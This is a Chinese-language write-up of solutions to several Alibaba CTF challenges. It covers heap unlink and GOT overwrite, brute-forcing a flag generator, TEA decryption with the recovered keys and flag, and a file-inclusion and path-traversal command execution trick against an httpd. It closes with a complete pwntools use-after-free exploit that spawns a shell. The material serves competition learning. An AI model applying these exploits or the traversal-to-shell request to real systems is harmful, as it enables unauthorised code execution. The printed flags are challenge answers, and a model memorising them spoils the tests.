上上周參加了阿里的CTF,靠着最后絕殺隊伍有幸拿到了國內第一名,也順利進入了XCTF Final。把自己做的幾個題簡單寫了下,發出來也算個總結吧。
PWN-FB
經典的null byte overflow加上unlink,覆蓋下一個堆塊SIZE字段的pre_inuse字段,free時造成后向融合,unlink時可以寫msg全局管理結構(設為gl)指向&gl-3。這樣通過set message就可以任意地址寫,此外,將free@got修改為printf@plt,這樣每次free的時候都可以泄露指定地址的內容,可以任意地址泄露。這次的題用的都是同一個libc,所以也就沒用dynelf來獲得system地址了。
中間有個花絮,最初能任意地址寫的時候,還想用偽造字符串表,並修改.dynamic段中.strtab的地址為偽造的字符串表的地址,來獲取shell。但發現.dynamic段不可寫,記得上一次做一個arm下的pwn時是可以寫的,在x64下竟然不可以。
Mobile-Steady-android
整個程序都是用c++寫的,沒有用到java。我也沒仔細看,打開so后發現做了控制流混淆,好吧,那就直接找關鍵函數吧,(其實,如果程序算法很復雜同時做了控制流混淆的話,我覺得基本上沒人能做出來了,所以CTF中對so做控制流混淆的一般算法都不難)。
直接看到了一個flg(int, char*)的函數,進去一看,根據int的值,生成長度為12的字符串,大概就知道什么意思了,如果int值對的話,那個字符串數組就是flag了。好,直接把flg函數復制出來,並進行修改。對int設置了范圍進行循環爆破,並要求求出的字符串數組在0-9a-zA-Z中,長度為12,爆出了30多個滿足的字符串,我試了第4個還是第5個的時候就正確了,不得不說這是投機取巧了。
RE-DEBUG
是一個windows的程序,父進程會調試子進程,子進程在執行的時候會遇到非法指令,這個時候父進程會對子進程的指令和數據進行處理,並讓子進程繼續運行。處理分別是異或0x7f和異或0x31。
子進程會要求用戶輸入,經過128輪TEA加密算法,然后再處理,並將結果與指定數據進行比較,如果相等的話,就會輸出Good!。
TEA的密鑰是父進程在子進程執行過程出異常時進行的修改,四個key分別是0x112233,0x44556677,0x8899aabb,0xccddeeff。TEA是對稱加密算法,下一步就是找一個tea的程序開始解密就好,剛開始傻傻地去github上找,發現都不好用,后來在博客園找到了一個。有個坑點就是,網上的代碼大部分都是32輪的,如果直接修改為128輪的話,會有問題,有個小地方需要注意下,這里就不說了。Flag就是:c6bf3d7cdad82ea712cea62cccbafddf
RE-Httpd
這個題只給了一個地址和端口。請求過去,發現總是返回一個特定的阿里巴巴的頁面。很早以前接觸過文件包含,我就嘗試着去試了下,真的可以!!如下圖:
但是我嘗試直接包含flag,發現並沒有成功,這樣的話,應該是flag被藏起來了。
下一步,繼續通過文件包含把/home/httpd/httpd給讀了出來,這樣的話就有二進制文件了。接下來就是對二進制文件進行分析。分析后,如果是post請求過去,服務器會進行特殊的處理,如果POST /../../../../../../../../../bin/sh的話,服務器會啟動執行/bin/sh,並把post過去的數據當作命令執行,並返回結果。這樣的話,就可以任意指令執行了。這些都是本地調試后發現的。
定位flag文件位置的過程也挺有趣的,
flag藏在/home/httpd/httpd/ALICTF{you_know_flag_huh?}/ _______________/flag下,怪不得直接文件包含不到。
Routers
是一個UAF的洞,通過泄露虛表地址泄露主程序模塊,通過泄露top_chunk的值獲得堆的地址,通過magic gadget獲得shell,有時候magic gadget還是很好用的。

from pwn import * #context.log_level='debug' #by wah r = remote('127.0.0.1',10001) exe = 'routers' def getpid(): pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!') def new_router(r,name='111'): r.recvuntil('> ') r.sendline('create router') r.recvuntil('(tplink/hiwifi/cisco): ') r.sendline('cisco') r.recvuntil('router name: ') r.sendline(name) def new_terminal(r,tname='111',rname='222'): r.recvuntil('> ') r.sendline('create terminal') r.recvuntil('you want to attach: ') r.sendline(rname) r.recvuntil('(windows/linux/osx): ') r.sendline('linux') r.recvuntil('terminal name: ') r.sendline(tname) def connect(r,r1,r2): r.recvuntil('> ') r.sendline('connect') r.recvuntil('you want to be client: ') r.sendline(r1) r.recvuntil('you want to be server: ') r.sendline(r2) def disconnect(r,r1): r.recvuntil('> ') r.sendline('disconnect') r.recvuntil('you want to disconnect: ') r.sendline(r1) def del_router(r,r1): r.recvuntil('> ') r.sendline('delete router') r.recvuntil('you want to delete: ') r.sendline(r1) def getexebase(r): r.recvuntil('> ') r.sendline('show') r.recvuntil("I'm connected to ") data = r.recvuntil('\x0a')[:-1] data = data + (8-len(data))*'\x00' exebase = u64(data) - 0x204B30 print hex(exebase) return exebase def show(r): r.recvuntil('> ') r.sendline('show') def leak(addr): global r name = 'a'*8 + p64(addr) + 'a'*16 new_router(r,name) show(r) r.recvuntil("I'm connected to ") data = r.recvuntil('\x0a')[:-1] data = data + (8-len(data))*'\x00' func = u64(data) print hex(func) del_router(r,name) return func new_router(r,'1') #router 1 new_router(r,'2') #router 2 new_router(r,'3') #router 3 getpid() connect(r,'1','2') connect(r,'2','3') del_router(r,'2') new_terminal(r,'22','3') exebase=getexebase(r) del_router(r,'3') setvbuf_got = 0x204EC8+exebase strlen_got = 0x204EF0+exebase setvbuf = leak(setvbuf_got) strlen = leak(strlen_got) main_arena = setvbuf - 0x6C0A0 + 0x3A5620 #print hex(main_arena+89) top_chunk = leak(main_arena+89) top_chunk = top_chunk<<8 print hex(top_chunk) vtable = top_chunk - 0xa0 + 0x18 magic_gadget = setvbuf - 0x6C0A0 + 0x41374 name = p64(vtable) + p64(magic_gadget)*3 new_router(r,name) disconnect(r,'1') r.interactive() r.close()